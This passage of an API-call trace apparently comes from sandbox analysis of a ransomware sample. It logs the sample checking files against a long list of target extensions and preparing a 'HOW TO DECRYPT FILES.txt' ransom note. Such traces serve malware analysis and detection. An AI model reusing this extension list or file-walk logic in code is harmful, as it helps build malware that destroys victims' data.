(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mp4") returned 0 [0087.946] lstrlenA (lpString="*.mp4") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ppt") returned 0 [0087.946] lstrlenA (lpString="*.ppt") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pptx") returned 0 [0087.946] lstrlenA (lpString="*.pptx") returned 6 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.doc") returned 0 [0087.947] lstrlenA (lpString="*.doc") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dot") returned 0 [0087.947] lstrlenA (lpString="*.dot") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.docx") returned 0 [0087.947] lstrlenA (lpString="*.docx") returned 6 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.7z") returned 0 [0087.947] lstrlenA (lpString="*.7z") returned 4 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.tar") returned 0 [0087.947] lstrlenA (lpString="*.tar") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.bz2") returned 0 [0087.947] lstrlenA (lpString="*.bz2") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.gz") returned 0 [0087.947] lstrlenA (lpString="*.gz") returned 4 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mkv") returned 0 [0087.947] lstrlenA (lpString="*.mkv") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.eml") returned 0 [0087.947] lstrlenA (lpString="*.eml") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.msg") returned 0 [0087.947] lstrlenA (lpString="*.msg") returned 5 [0087.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.edb") returned 0 [0087.948] lstrlenA (lpString="*.edb") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.accdb") returned 0 [0087.948] lstrlenA (lpString="*.accdb") returned 7 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.odb") returned 0 [0087.948] lstrlenA (lpString="*.odb") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.java") returned 0 [0087.948] lstrlenA (lpString="*.java") returned 6 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.asm") returned 0 [0087.948] lstrlenA (lpString="*.asm") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pfx") returned 0 [0087.948] lstrlenA (lpString="*.pfx") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pem") returned 0 [0087.948] lstrlenA (lpString="*.pem") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.p12") returned 0 [0087.948] lstrlenA (lpString="*.p12") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.gpg") returned 0 [0087.948] lstrlenA (lpString="*.gpg") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.vsd") returned 0 [0087.948] lstrlenA (lpString="*.vsd") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.odg") returned 0 [0087.948] lstrlenA (lpString="*.odg") returned 5 [0087.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.raw") returned 0 [0087.949] lstrlenA (lpString="*.raw") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.nef") returned 0 [0087.949] lstrlenA (lpString="*.nef") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.svg") returned 0 [0087.949] lstrlenA (lpString="*.svg") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.psd") returned 0 [0087.949] lstrlenA (lpString="*.psd") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.vmx") returned 0 [0087.949] lstrlenA (lpString="*.vmx") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.vmdk") returned 0 [0087.949] lstrlenA (lpString="*.vmdk") returned 6 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.vdi") returned 0 [0087.949] lstrlenA (lpString="*.vdi") returned 5 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.lay6") returned 0 [0087.949] lstrlenA (lpString="*.lay6") returned 6 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mpeg") returned 0 [0087.949] lstrlenA (lpString="*.mpeg") returned 6 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.djvu") returned 0 [0087.949] lstrlenA (lpString="*.djvu") returned 6 [0087.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.tiff") returned 0 [0087.950] lstrlenA (lpString="*.tiff") returned 6 [0087.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.backup") returned 0 [0087.950] lstrlenA (lpString="*.backup") returned 8 [0087.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pdf") returned 0 [0087.950] lstrlenA (lpString="*.pdf") returned 5 [0087.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.cert") returned 0 [0087.950] lstrlenA (lpString="*.cert") returned 6 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.docm") returned 0 [0087.951] lstrlenA (lpString="*.docm") returned 6 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xlsm") returned 0 [0087.951] lstrlenA (lpString="*.xlsm") returned 6 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dwg") returned 0 [0087.951] lstrlenA (lpString="*.dwg") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.nd") returned 0 [0087.951] lstrlenA (lpString="*.nd") returned 4 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.tlg") returned 0 [0087.951] lstrlenA (lpString="*.tlg") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.lgb") returned 0 [0087.951] lstrlenA (lpString="*.lgb") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mov") returned 0 [0087.951] lstrlenA (lpString="*.mov") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xdw") returned 0 [0087.951] lstrlenA (lpString="*.xdw") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ods") returned 0 [0087.951] lstrlenA (lpString="*.ods") returned 5 [0087.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.wav") returned 0 [0087.952] lstrlenA (lpString="*.wav") returned 5 [0087.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mp3") returned 0 [0087.952] lstrlenA (lpString="*.mp3") returned 5 [0087.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.aiff") returned 0 [0087.952] lstrlenA (lpString="*.aiff") returned 6 [0087.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.flac") returned 0 [0087.952] lstrlenA (lpString="*.flac") returned 6 [0087.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.m4a") returned 0 [0087.952] lstrlenA (lpString="*.m4a") returned 5 [0087.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.csv") returned 0 [0087.952] lstrlenA (lpString="*.csv") returned 5 [0087.952] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="932A2D~1")) returned 1 [0087.952] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0087.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0087.952] lstrcmpiA (lpString1="", lpString2="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0087.952] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0087.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0087.952] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0087.953] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0087.953] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0087.953] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ems") returned 0 [0087.953] lstrlenA (lpString="*.ems") returned 5 [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.db") returned 0 [0087.953] lstrlenA (lpString="*.db") returned 4 [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dbf") returned 0 [0087.953] lstrlenA (lpString="*.dbf") returned 5 [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.myox") returned 0 [0087.953] lstrlenA (lpString="*.myox") returned 6 [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.myo") returned 0 [0087.953] lstrlenA (lpString="*.myo") returned 5 [0087.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbw") returned 0 [0087.953] lstrlenA (lpString="*.qbw") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbb") returned 0 [0087.954] lstrlenA (lpString="*.qbb") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbm") returned 0 [0087.954] lstrlenA (lpString="*.qbm") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", 